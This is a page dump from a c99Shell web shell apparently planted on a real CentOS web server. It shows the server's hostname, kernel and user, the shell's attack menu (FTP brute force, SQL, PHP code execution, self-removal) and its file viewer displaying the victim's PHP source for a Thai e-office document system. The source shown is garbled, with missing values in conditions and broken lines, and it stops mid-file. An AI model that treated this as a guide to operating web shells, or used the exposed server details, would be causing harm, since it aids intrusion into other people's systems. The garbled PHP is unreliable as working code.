!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mistk/mistk/mistk/eoffice/admin/   drwxr-xr-x
Free 50.78 GB of 127.8 GB (39.73%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     showDetailSendDocSRshow.php (29.38 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
include_once "template.php";
include_once 
"../class/clsTable.php";
include_once 
"../class/clsDepartment.php";
include_once 
"../class/clsPerson.php";
include_once 
"../link/function.php";
include_once 
"../link/functionshow.php";
include_once 
"../class/clsDocLinePosition.php";
include_once 
"../class/clsDocLineConfig.php";
include_once 
"../class/clsReceiveSendType.php";
include_once 
"../class/clsDocType.php";
include_once 
"../class/clsDocSpeedLevel.php";
include_once 
"../class/clsDocSecreLevel.php";
include_once 
"../class/clsDocattatchesTmp.php";
include_once 
"../class/clsDocuments.php";
include_once 
"../class/clsDocattatches.php";
include_once 
"../class/clsDocReceiveSend.php";
include_once 
"../class/clsProposeType.php";
include_once 
"funct.php";
include_once 
"../class/clsDocSendtoPsTmp.php";
include_once 
"../class/clsannounceDocType.php";
include_once 
"../link/keyThai.php";
include_once 
"../class/clsDocWSign.php";
include_once 
"../class/clsSendReceive.php";
include_once 
"../class/clsCollegeDetail.php";
include_once 
"getPrefix.php";

$oC = new clsConnection($GLOBALS['DBHOST'], $GLOBALS['DBNAME_EOFFICE'], $GLOBALS['DBUSER_EOFFICE'], $GLOBALS['DBPASS_EOFFICE']);

$oDP = new Department($oC);
$oDP2 = new Department($oC);
$oDP3 = new Department($oC);
$oDP4 = new Department($oC);
$oDP5 = new Department($oC);
$oPS = new person($oC);
$oPS2 = new person($oC);
$oPS3 = new person($oC);
$oPS4 = new person($oC);
$oPS5 = new person($oC);
$oPS6 = new person($oC);
$oUG = new umgroup($oCu);
$oDlc = new DocLineConfig($oC);
$oDlc2 = new DocLineConfig($oC);
$oDlc3 = new DocLineConfig($oC);
$oDlc4 = new DocLineConfig($oC);
$oDlc5 = new DocLineConfig($oC);
$oDlc6 = new DocLineConfig($oC);
$oDlc7 = new DocLineConfig($oC);
$oDlc8 = new DocLineConfig($oC);
$oDlp = new docLinePosition($oC);
$oDlp1 = new docLinePosition($oC);
$oDlp2= new docLinePosition($oC);
$oRSt = new receiveSendType($oC);
$oDt = new doctype($oC);
$oDsl = new DocSpeedLevel($oC);
$oDcl = new DocSecretLevel($oC);
$oDtmp = new DocattatchesTmp($oC);
$oDoc = new Documents($oC);
$oDoc2 = new Documents($oC);
$oDoc3 = new Documents($oC);
$oDoc4 = new Documents($oC);
$oDatt = new Docattatches($oC);
$oRs = new DocReceiveSend($oC);
$oRs1 = new DocReceiveSend($oC);
$oRs2 = new DocReceiveSend($oC);
$oRs3 = new DocReceiveSend($oC);
$oRs4 = new DocReceiveSend($oC);
$oRs6 = new DocReceiveSend($oC);
$oRs7 = new DocReceiveSend($oC);
$oRs8 = new DocReceiveSend($oC);
$oPt = new ProposeType($oC);
$oStmp=new DocSendToPsTmp($oC);
$oAn=new announceDocType($oC);
$oDws = new docwsign($oC);
$oTsr = new sendreceive($oC);
$oCd = new collegedetail($oC);

$MaxDocGroup=$oDP->SearchMaxDocGroup();

doCheckAll();
if(
$DLCID && $one_position!="1"){ include_once "selectposition.php";
?>

<?
    $oDoc
->SearchByKey($DocID); $oDoc->GetRecord();
    
$oDlc->SearchByKey($DLCID); $oDlc->GetRecord(); 

    
$a=$oDlc->DlcActive;
    
$oRs->SearchByKey($DrsID); $oRs->GetRecord(); 
    
//echo $oRs->DrsID; 
?>
<html>
<head>
<script language="javascript" src="../source/calendarDateInput.js"></script>
<meta http-equiv="Content-Type" content="text/html; charset=tis-620">
<link href="../source/style.css" rel="stylesheet" type="text/css">
</head>
<body>
<table  width="100%"  align="center">
<tr><td >
<fieldset>
      <legend><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><a href="sendDoc.php">ส่งหนังสือถึงผู้รับผิดชอบ</a>
      <img src="../picture/ico3.gif" width="10" border="0" align="absmiddle">รายละเอียดข้อมูลการส่งหนังสือถึงผู้รับผิดชอบ</font>
    </font></legend>
        <form name="ff"  METHOD="POST" action="processSendDoc.php">
        <table align="center" width="93%" >
        <tr>
          <td width="68%" height="25"><img src="../picture/official_letter.gif" alt=""  border="0" > 
            <font color="<?php echo $GLOBALS["COLOR_FONT_2"]; ?>" size="3"><strong>การส่งหนังสือถึงผู้รับผิดชอบ</strong></font> 
           </td>
          </tr>
        <tr>
          <td  colspan="3"><hr color="#000099"></hr>
          </td>
        </tr>
      </table>
        <table width="93%" border="1" align="center" cellpadding="0" cellspacing="0" bordercolor="<?php echo $GLOBALS["COLOR_BG_TD_1"]; ?>"><tr><td>
      <table width="100%" border="0" align="center" cellpadding="0" cellspacing="0" bordercolor="#DADADA" style="border-collapse:collapse"  background="../picture/table_header_bg2.gif">
        <tr>
          <td width="68%" height="25">
            <font color="<?php echo $GLOBALS["COLOR_FONT_1"]; ?>" size="2"><strong> 
            &nbsp;รายละเอียดของหนังสือ: </strong></font> 
            <font color="<?php echo $GLOBALS["COLOR_FONT_8"]; ?>" size="2"><strong>
            <?  if($oDoc->RsID==1){    
                        echo 
$oRSt->SearchShowRsName(1); 
                    }else if(
$oDoc->RsID==2){   
                        echo 
$oRSt->SearchShowRsName(2);
                    }else if(
$oDoc->RsID==3){   
                        echo 
$oRSt->SearchShowRsName(3);  
                    }else if(
$oDoc->RsID==4){  
                        echo 
$oRSt->SearchShowRsName(4); 
                    }
            
?>
            </strong></font>
            &nbsp; <font color="<?php echo $GLOBALS["COLOR_FONT_1"]; ?>" size="2"><strong> 
            &nbsp;ชนิดหนังสือ: </strong></font>
            <font color="<?php echo $GLOBALS["COLOR_FONT_8"]; ?>" size="2"><strong>
              <? $oDt->SearchByKey($oDoc->DtID);
                     
$oDt->GetRecord();
                     echo 
$oDt->DtName;
            
?>
            </strong></font>
                     </td>
</tr>
      </table>
      <table width="90%" border="0" align="center" cellpadding="0" cellspacing="1" bordercolor="#DADADA" style="border-collapse:collapse">
      <tr><td>&nbsp;</td></tr>
     <tr height=22><td width="25%" bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_1"]; ?>">&nbsp;&nbsp;<strong><? echo ShowNameDocNo($oDoc->DtID); ?></strong></td>
             <td width="2%" align="center"><strong>:</strong></td>
            <td bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_16"]; ?>">&nbsp;<? if($oDoc->DocNo!=""){  echo $oDoc->DocNo;   } ?></td></tr>
     <tr height=22><td width="25%" bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_1"]; ?>">&nbsp;&nbsp;<strong><? echo ShowNameDate2($oDoc->DtID); ?></strong></td>
             <td width="2%" align="center" ><strong>:</strong></td><td bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_16"]; ?>">
            <?   if($oDoc->DocDate!="" && $oDoc->DocDate!="0000-00-00"){ 
                                        echo 
"&nbsp;".abbreDate2($oDoc->DocDate,'/');
                    } 
?>
            </td></tr>
     <? //if($oDoc->DtID!=13){ ?>
      <tr height=22><td width="25%" bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_1"]; ?>" >&nbsp;&nbsp;<strong><? echo ShowNameSubject($oDoc->DtID); ?></strong></td>
            <td width="2%" align="center"><strong>:</strong></td><td bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_16"]; ?>">&nbsp;<?  if($oDoc->DocSubject!=""){ echo  $oDoc->DocSubject;  } ?></td>
    </tr>
    <? //} ?>
    <? if($oDoc->DtID==|| $oDoc->DtID==|| $oDoc->DtID==||  $oDoc->DtID==14 || $oDoc->DtID==13){?>  
      <tr height=22><td width="25%" bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_1"]; ?>">&nbsp;&nbsp;<strong><? echo ShowNameFrom($oDoc->DtID); ?></strong></td>
              <td width="2%" align="center"><strong>:</strong></td>
            <td bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_16"]; ?>">&nbsp;<? if($oDoc->DocFrom!=""){ echo  $oDoc->DocFrom;  } ?></td>
          </tr>
    <? ?>
    <? if($oDoc->DtID==13){?>  
      <tr height=22><td width="25%" bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_1"]; ?>">&nbsp;&nbsp;<strong>ชื่อผู้ได้รับการรับรอง</strong></td>
              <td width="2%" align="center"><strong>:</strong></td>
            <td bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_16"]; ?>">&nbsp;<? if($oDoc->CertificatePs!=""){   echo $oDoc->CertificatePs; } ?></td>
          </tr>
    <? ?>
    <? if($oDoc->DtID==|| $oDoc->DtID==2  || $oDoc->DtID==14 || $oDoc->DtID==3){?>
       <tr height=22><td width="25%" bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_1"]; ?>">&nbsp;&nbsp;<strong><? if($DtID==3){   echo "เรียน"; }else{  echo "ถึง"; } ?></strong></td>
                   <td width="2%" align="center"><strong>:</strong></td>
            <td bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_16"]; ?>">&nbsp;<?  if($oDoc->DocTo!=""){   echo $oDoc->DocTo; }?></td>        
          </tr>
    <? }?>
      <tr height=22><td width="25%" bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_1"]; ?>">&nbsp;&nbsp;<strong>แฟ้มหนังสือ</strong></td>
                   <td width="2%" align="center"><strong>:</strong></td>
                  <td width="73%" bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_16"]; ?>">
                  <? if($oDoc->DocPID=="0" || $oDoc->DocPID==""){  $searchDoc=$oDoc->DocID; }else{ $searchDoc=$oDoc->DocPID; } ?>
                  <font size="2" color="<?php echo $GLOBALS["COLOR_FONT_2"]; ?>"> 
                    &nbsp;<img src="../picture/attach_ico.gif" alt=""  border="0" >&nbsp;แฟ้มที่เกี่ยวข้อง&nbsp;<? echo a2th($oDatt->CountDocByDocID($searchDoc)); ?>&nbsp;รายการ<br></font> 
                    <? 
                        
                        $oDatt
->SearchByDocID($searchDoc);
                        while(
$oDatt->GetRecord()){  
                            
$c++;  
                            
$pathfile="../documents/".$oDatt->DaUpFileName
                        
?>
                            &nbsp;<a href="<? echo $pathfile ?>" target="_blank"><img src="../picture/allregistered_ico.gif" alt="เปิดดูแฟ้มหนังสือ"  border="0"  style="cursor:pointer;" ></a>&nbsp; 
                        <?    echo "&nbsp;".$c.".&nbsp;".$oDatt->DaFileName."<br>";
                        } 
?>
                  </td>                        
    </tr>
    <? if(($oDoc->DtID==|| $oDoc->DtID==2) && ($oDoc->RsID=="2" || $oDoc->RsID=="1")){?>
    <tr height=22><td width="25%" bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_1"]; ?>">&nbsp;&nbsp;<strong>อ้างถึง</strong></td>
                   <td width="2%" align="center"><strong>:</strong></td><td bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_16"]; ?>">&nbsp;<? if($oDoc->DocRef!=""){   echo $oDoc->DocRef; } ?></td>
    </tr>    
    <tr height=22><td width="25%" bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_1"]; ?>">&nbsp;&nbsp;<strong>สิ่งที่ส่งมาด้วย</strong></td>
                   <td width="2%" align="center"><strong>:</strong></td><td bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_16"]; ?>">&nbsp;<? if($oDoc->DocOther!=""){   echo $oDoc->DocOther; }?></td>
    </tr>
    <? ?>
    <? if($oDoc->DtID==&& ($oDoc->RsID=="4" || $oDoc->RsID=="3")){?>
                <tr height=22><td width="31%" bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_1"]; ?>">&nbsp;&nbsp;<strong>อ้างถึงหนังสือเพื่อตอบกลับ</strong></td>
                            <td width="2%" align="center"><strong>:</strong></td><td bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_16"]; ?>">&nbsp;<? if($oDoc->DocRefAns!=""){   echo $oDoc->DocRefAns; } ?></td>
                </tr>    
                <? ?>
    <? if($oDoc->DtID==|| $oDoc->DtID==|| $oDoc->DtID==|| $oDoc->DtID==14){?> 
    <tr height=22><td width="25%" bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_1"]; ?>">&nbsp;&nbsp;<strong>ชั้นตวามเร็ว</strong></td>
                   <td width="2%" align="center"><strong>:</strong></td>
            <td bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_16"]; ?>">
            <? $oDsl->SearchByKey($oDoc->DslID); $oDsl->GetRecord();  echo "&nbsp;".$oDsl->DslName;?>
             </td></tr>
    <tr height=22><td width="25%" bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_1"]; ?>">&nbsp;&nbsp;<strong>ชั้นความลับ</strong></td>
                   <td width="2%" align="center" ><strong>:</strong></td><td bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_16"]; ?>">
                <? $oDcl->SearchByKey($oDoc->DclID); $oDcl->GetRecord();  echo "&nbsp;".$oDcl->DclName;?></td>
    </tr>
    <? ?>
    <tr height=22><td width="25%" bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_1"]; ?>">&nbsp;&nbsp;<strong>หมายเหตุ</strong></td>
                   <td width="2%" align="center"><strong>:</strong></td>
                  <td bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_16"]; ?>"> 
                    <? if($oDoc->DocShortDesc!=""){ echo "&nbsp;".$oDoc->DocShortDesc;  }  ?>
                  </td>
                </tr>
<? if($oDoc->DocforSign=="Y"){  ?>
    <tr height=22><td width="25%">&nbsp;</td>
                   <td width="2%" align="center">&nbsp;</td>
                  <td > 
                  <input name="" type="checkbox" value="" checked disabled> ลงทะเบียนหนังสือลงนาม
                  </td>
                </tr>
    <? ?>
    <? if($oDoc->sendToPs=="Y"){  ?>
    <tr height=22><td width="25%">&nbsp;</td>
                   <td width="2%" align="center">&nbsp;</td>
                  <td > 
                  <input name="" type="checkbox" value="" checked disabled> ส่งด่วน
                  </td>
                </tr>
    <? ?>
    <tr><td>&nbsp;</td></tr>
      </table>
      </td></tr></table>
      <? 
                  
//------------------Sign------------------------------------------------------------------?>
    <br>
      <table width="93%" border="1" align="center" cellpadding="0" cellspacing="0" bordercolor="<?php echo $GLOBALS["COLOR_BG_TD_1"]; ?>"><tr><td >
      <table width="100%" border="0" align="center" cellpadding="0" cellspacing="0" bordercolor="#DADADA" style="border-collapse:collapse"  background="../picture/table_header_bg2.gif">
        <tr>
          <td width="68%" height="25">
            <font color="<?php echo $GLOBALS["COLOR_FONT_1"]; ?>" size="2"><strong> 
            &nbsp;รายละเอียดสำหรับส่งหนังสือถึงผู้รับผิดชอบ</strong></font> 
            </td>
        </tr>
      </table>
              <table width="97%" height="100%"border="0" align="center" cellpadding="0" cellspacing="0" bordercolor="#DADADA" style="border-collapse:collapse" >

                <tr align="center"> 
                  <td width="45%" align="center" valign="top"><? include("showSendDocSign2.php");?></td>
                  <td width="45%"  align="center"  valign="top"><? include("showSendDocToPs2SR2.php");?></td>
                </tr>
                <tr>
                  <td height="44" colspan="2" align="center"> 
        <br>
                    <input type="button" name="cancel" value="กลับหน้าหลัก" onClick="location.href = 'sendReceiveDoc.php'">                 
                </td></tr>
              </table>
      </td></tr></table>
      <? 
              
//-----------------Line Doc--------------------------------------------------------------?>
      <br>
       
      <?   if($oDlc->DlcView=="Y"){ ?> 
      <table width="93%" border="0" align="center" cellpadding="0" cellspacing="0" >
      <tr><td align="right"><a onClick = "showline('<? echo $searchDoc;?>')" style="cursor:pointer;"><img src="../picture/button_showline.jpg" alt=""  border="0" style="cursor:pointer;"></a>
      &nbsp;<a onClick = "showline2('<? echo $searchDoc;?>')" style="cursor:pointer;"><img src="../picture/sign_tc.jpg" alt=""  border="0" style="cursor:pointer;"></a>&nbsp;
      </td></tr>
      </table>
      <table width="93%" border="1" align="center" cellpadding="0" cellspacing="0" bordercolor="#FFCC99" >
      <tr><td><table width="100%" border="0" align="center" cellpadding="0" cellspacing="0" bordercolor="#DADADA" style="border-collapse:collapse"  background="../picture/table_header_bg4.gif">
        <tr>
          <td width="68%" height="25">
            <font color="<?php echo $GLOBALS["COLOR_FONT_1"]; ?>" size="2"><strong>&nbsp;เส้นทางเดินของหนังสือ</strong></font>
             </td>
        </tr>
      </table><br>
              <table width="98%" border="0" align="center" cellpadding="0" cellspacing="0" bordercolor="#DADADA" style="border-collapse:collapse">
                <tr> 
                  <td  align="center">
                   <div style="overflow: auto; height: 300px; width: 100%;">
                  <? $lineDoc=GetLineDoc($DocID,$oDoc->DocGroup,$oDoc->DsID,$DrsID).$oRs->DrsID
                  
//echo "lineDoc=".$lineDoc."<br>";
                        
while($lineDoc!=""){
                                list(
$line,$lineDoc)=split(',',$lineDoc,2);
                                
//echo "=".$line."<br>";
                                
$oRs2->SearchByKey($line);
                                
$oRs2->GetRecord();
                                
$oDoc2->SearchByKey($oRs2->DocID);
                                
$oDoc2->GetRecord();
                                
$oDlc3->SearchByKey($oDoc2->DlcID); 
                                
$oDlc3->GetRecord(); 
                                   if(
$oRs2->DsID=="1"){
                            
?>
                                 
                    <table width="90%" border="0" align="center" cellpadding="0" cellspacing="0" bordercolor="#DADADA" style="border-collapse:collapse">
                      <tr height=22>
                        <td colspan="3">&nbsp;&nbsp;<strong>ข้อมูลการลงรับของหน่วยงาน&nbsp;<? $oDP->SearchByKey($oDlc3->deptId); $oDP->GetRecord();  echo $oDP->deptName;?></strong><br>
                        </td>
                      </tr>
                       <tr height=22>
                       <td width="33%">&nbsp;&nbsp;ชนิดหนังสือ : <? $oDt->SearchByKey($oDoc2->DtID);  $oDt->GetRecord(); echo $oDt->DtName?></td>
                        <td width="23%">เลขทะเบียน<? echo ShowNameRSDoc2($oDoc2->RsID);?> : <?php echo a2th($oDoc2->DocTypeNo);?></td>
                        <td width="44%">วันที่ลงทะเบียน : <?php 
                            
list($DocD,$DocT) = split(' ',$oDoc2->DocDateCreate);
                            echo 
abbreDate2($DocD,'/')."&nbsp;".a2th($DocT); ?></td>
                      </tr>
                      <tr height=22>
                        <td colspan="3">&nbsp;&nbsp;ลงรับโดย : <? $oPS->SearchByKey($oRs2->DrsReceivePersonId); $oPS->GetRecord();   ?>
                          <? echo "&nbsp;".GetPrefix($oPS->prefixId).$oPS->fName."&nbsp;".$oPS->lName?> 
                          <?     $oDlp->SearchByKey($oDlc3->DlpID);  $oDlp->GetRecord();
                                      echo 
"&nbsp;(".ShowNamePosition($oDlp->DlpID,$oDlp->DlpName,$oDP->deptName).")"?></td>
                      </tr>
                      <tr>
                      <td colspan=3><hr color="#C87904"></hr></td>
                      </tr>
                    </table>    
                              <? }else if($oRs2->DsID=="2"){ ?>
                                  <table width="90%" border="0" align="center" cellpadding="0" cellspacing="2" bordercolor="#DADADA" style="border-collapse:collapse">
                                 <tr><td colspan="3">&nbsp;&nbsp;<strong>ข้อมูลการเสนอลงนาม</strong></td></tr>
                                 <tr><td width="25%" bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_21"]; ?>">&nbsp;&nbsp;การบันทึกต่อเนื่อง</td>
                                         <td width="0%"  align="center" ><strong>:</strong></td>
                                        <td bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_22"]; ?>">&nbsp;<? echo nl2br($oRs2->DrsPropose); ?></td>
                                 </tr>
                                 <tr height=22>
                                    <td width="25%" bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_21"]; ?>">&nbsp;&nbsp;ผู้เสนอลงนาม</td>
                                    <td width="0%"  align="center" ><strong>:</strong></td>
                                    <?   $oRs3->SearchByKey($oRs2->DrsFromDrsID);
                                            
$oRs3->GetRecord();
                                    
?>
                                    <td width="75%" bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_22"]; ?>" align="center">
                                    <? $oPS->SearchByKey($oRs2->DrsPsIDCreate); $oPS->GetRecord();   ?>
                                      <? echo GetPrefix($oPS->prefixId).$oPS->fName."&nbsp;".$oPS->lName."&nbsp;"?> 
                                      <?     $oDlc5->SearchByKey($oRs2->DrsDlcIDCreate);  $oDlc5->GetRecord();    
                                                  
$oDlp->SearchByKey($oDlc5->DlpID);  $oDlp->GetRecord();
                                                  echo 
"(".ShowNamePosition($oDlp->DlpID,$oDlp->DlpName,$oDP->SearchDeptName($oDlc5->deptId)).")&nbsp;";  
                                                list(
$DocD,$DocT) = split(' ',$oRs2->DrsReceiveDate );
                                                echo 
abbreDate2($DocD,'/')."&nbsp;".a2th($DocT); 
                                                
?>
                                    </td>
                                  </tr>
                                <tr>
                              <td colspan=3><hr color="#C87904"></hr></td>
                              </tr>
                                 </table>
                            <?             if($oRs2->DrsWSign=='Y'){  //case DrsWSign 
                                            
$oDws->SearchByDrsIDDocID($oRs2->DrsID,$oRs2->DocID);
                                            
$oDws->GetRecord();
                            
?>
                                <table width="90%" border="0" align="center" cellpadding="0" cellspacing="2" bordercolor="#DADADA" style="border-collapse:collapse">
                                 <tr><td colspan="3">&nbsp;&nbsp;<strong>ข้อมูลการรอเสนอผอก./หน.</strong></td></tr>
                                 <tr><td width="25%" bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_21"]; ?>">&nbsp;&nbsp;การบันทึกต่อเนื่อง</td>
                                         <td width="0%"  align="center" ><strong>:</strong></td>
                                        <td bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_22"]; ?>">&nbsp;<? echo nl2br($oDws->DocSign); ?></td>
                                 </tr>
                                 <tr height=22>
                                    <td width="25%" bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_21"]; ?>">&nbsp;&nbsp;ผู้ลงนาม</td>
                                    <td width="0%"  align="center" ><strong>:</strong></td>
                                    <td width="75%" bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_22"]; ?>"  align="center">
                                    <?  $oPS->SearchByKey($oDws->personId); $oPS->GetRecord();   ?>
                                      <? echo GetPrefix($oPS->prefixId).$oPS->fName."&nbsp;".$oPS->lName."&nbsp;"?> 
                                      <?     $oDlc5->SearchByKey($oDws->DlcID);  $oDlc5->GetRecord();    
                                                  
$oDlp->SearchByKey($oDlc5->DlpID);  $oDlp->GetRecord();
                                                  echo 
"(".ShowNamePosition($oDlp->DlpID,$oDlp->DlpName,$oDP->SearchDeptName($oDlc5->deptId)).")&nbsp;";  
                                                list(
$DocD,$DocT) = split(' ',$oDws->signDateTime);
                                                echo 
abbreDate2($DocD,'/')."&nbsp;".a2th($DocT); 
                                                
?>
                                    </td>
                                  </tr>
                                <tr>
                              <td colspan=3><hr color="#C87904"></hr></td>
                              </tr>
                                 </table>
                            <? //case DrsWSign?>
                             <? }else if($oRs2->DsID=="3"){  
                                               
$oRs4->SearchByKey($oRs2->DrsFromDrsID);
                                            
$oRs4->GetRecord();
                                            if(
$oRs4->DrsByPass!="Y"){                
                           
?>
                                   <table width="90%" border="0" align="center" cellpadding="0" cellspacing="2" bordercolor="#DADADA" style="border-collapse:collapse">
                                 <tr><td colspan="3">&nbsp;&nbsp;<strong>ข้อมูลการลงนาม</strong></td></tr>
                                 <tr><td width="25%" bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_21"]; ?>">&nbsp;&nbsp;การบันทึกต่อเนื่อง</td>
                                         <td width="0%"  align="center" ><strong>:</strong></td>
                                        <td bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_22"]; ?>">&nbsp;<? echo nl2br($oRs2->DrsSign); ?></td>
                                 </tr>
                                 <tr height=22>
                                    <td width="25%" bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_21"]; ?>">&nbsp;&nbsp;ผู้ลงนาม</td>
                                    <td width="0%"  align="center" ><strong>:</strong></td>
                                    <td width="75%" bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_22"]; ?>" align="center">
                                    <? $oPS->SearchByKey($oRs2->DrsPsIDCreate); $oPS->GetRecord();   ?>
                                      <? echo GetPrefix($oPS->prefixId).$oPS->fName."&nbsp;".$oPS->lName."&nbsp;"?> 
                                      <?     $oDlc5->SearchByKey($oRs2->DrsDlcIDCreate);  $oDlc5->GetRecord();    
                                                  
$oDlp->SearchByKey($oDlc5->DlpID);  $oDlp->GetRecord();
                                                  echo 
"(".ShowNamePosition($oDlp->DlpID,$oDlp->DlpName,$oDP->SearchDeptName($oDlc5->deptId)).")&nbsp;";  
                                                list(
$DocD,$DocT) = split(' ',$oRs2->DrsReceiveDate );
                                                echo 
abbreDate2($DocD,'/')."&nbsp;".a2th($DocT); 
                                                
?>
                                    </td>
                                  </tr>
                                <tr>
                              <td colspan=3><hr color="#C87904"></hr></td>
                              </tr>
                                 </table>
                                 <? //not DrsByPass
                                      
}else if($oRs2->DsID=="0" || $oRs2->DsID=="4" || $oRs2->DsID=="5"){  ?>
                                  <? 
                                              
// if($oRs2->DrsSendDate!="0000-00-00 00:00:00"){  //show status=3 send to person ?>
                                    <?   $oRs6->SearchByKey($oRs2->DrsID);
                                            
$oRs6->GetRecord();
                                        
//    echo "DrsID=".$oRs6->DrsID."<br>"; 
                                    
?>
                                 <table width="90%" border="0" align="center" cellpadding="0" cellspacing="2" bordercolor="#DADADA" style="border-collapse:collapse">
                                 <tr><td colspan="3">&nbsp;&nbsp;<strong>ข้อมูลการส่งถึงผู้รับผิดชอบ</strong></td></tr>
                                 <? if($oRs6->PtID!=&& $oRs6->PtID!=""){ 
                                             
$oPt->SearchByKey($oRs6->PtID);
                                            
$oPt->GetRecord();
                                 
?>
                                 <? if($oRs6->DrsSendDocNew!="0000-00-00 00:00:00"){  ?>
                                  <tr><td bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_21"]; ?>">&nbsp;&nbsp;ส่งเพิ่มเติม</td>
                                            <td><strong>:</strong></td>
                                            <td bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_22"]; ?>">&nbsp;&nbsp;&nbsp;
                                            <? list($DocD2,$DocT2) = split(' ',$oRs6->DrsSendDocNew);
                                                echo 
abbreDate2($DocD2,'/')."&nbsp;".a2th($DocT2); 
                                             
?></td>
                                </tr>
                                <? ?>
                                  <tr><td bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_21"]; ?>">&nbsp;&nbsp;ลักษณะหนังสือ</td>
                                            <td><strong>:</strong></td>
                                            <td bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_22"]; ?>">&nbsp;&nbsp;&nbsp;&nbsp;<? echo $oPt->PtName?>
                                        
                                            </td>
                                </tr>
                                <? ?>
                                <? if($oRs6->AnID!=&& $oRs6->AnID!=""){ 
                                          
$oAn->SearchByKey($oRs6->AnID);
                                        
$oAn->GetRecord();
                                 
?>
                                 <tr><td bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_21"]; ?>">&nbsp;&nbsp;ข้อมูลขึ้นเว็บ</td>
                                            <td><strong>:</strong></td>
                                            <td bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_22"]; ?>">&nbsp;&nbsp;&nbsp;&nbsp;<? echo $oAn->AnName?>
                                            <br>&nbsp;&nbsp;&nbsp;&nbsp;แจ้งขึ้นเว็บ&nbsp;<? echo ShowNameonweb($oDoc2->DocShowInOut); ?>
                                            <br>&nbsp;&nbsp;&nbsp;&nbsp;วันที่ประกาศขึ้นเว็บ&nbsp;
                                            <?  if($oRs6->DrsstartDatePost!="0000-00-00"){
                                                        if(
$oRs6->DrsstartDatePost==$oRs6->DrsendDatePost){ 
                                                            echo 
abbreDate2($oRs6->DrsstartDatePost,'/');
                                                        }else{
                                                             echo  
abbreDate2($oRs6->DrsstartDatePost,'/')."&nbsp;ถึง&nbsp;".abbreDate2($oRs6->DrsendDatePost,'/');
                                                        }
                                                    }
                                            
?>
                                            </td>
                                </tr>
                                <? ?>
                                 <tr><td width="25%" bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_21"]; ?>">&nbsp;&nbsp;การบันทึกต่อเนื่อง</td>
                                         <td width="0%"  align="center" ><strong>:</strong></td>
                                        <td bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_22"]; ?>">&nbsp;<? echo nl2br($oRs6->DrsPropose); ?></td>
                                 </tr>
                                 <tr height=22>
                                    <td width="25%" bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_21"]; ?>">&nbsp;&nbsp;ผู้ส่งหนังสือ</td>
                                    <td width="0%"  align="center" ><strong>:</strong></td>
                                    <td width="75%" bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_22"]; ?>" align="center">
                                     <? $oPS->SearchByKey($oRs6->DrsPsIDCreate); $oPS->GetRecord();   ?>
                                  <? echo GetPrefix($oPS->prefixId).$oPS->fName."&nbsp;".$oPS->lName."&nbsp;"?> 
                                  <?     
                                                  $oDlc5
->SearchByKey($oRs6->DrsDlcIDCreate);  $oDlc5->GetRecord();    
                                                  
$oDlp->SearchByKey($oDlc5->DlpID);  $oDlp->GetRecord();
                                                  echo 
"(".ShowNamePosition($oDlp->DlpID,$oDlp->DlpName,$oDP->SearchDeptName($oDlc5->deptId)).")&nbsp;";  
                                                 
$oRs8->SearchByKey($oRs6->DrsFromDrsID);
                                                
$oRs8->GetRecord();
                                                list(
$DocD,$DocT) = split(' ',$oRs8->DrsSendDate);
                                                echo 
abbreDate2($DocD,'/')."&nbsp;".a2th($DocT); 
                                                
//echo "---".$oRs6->DrsID;
                                                
?>
                                    </td>
                                  </tr>
                                  <?  //$oDoc3->SearchByKey($oRs6->DocID); $oDoc3->GetRecord();
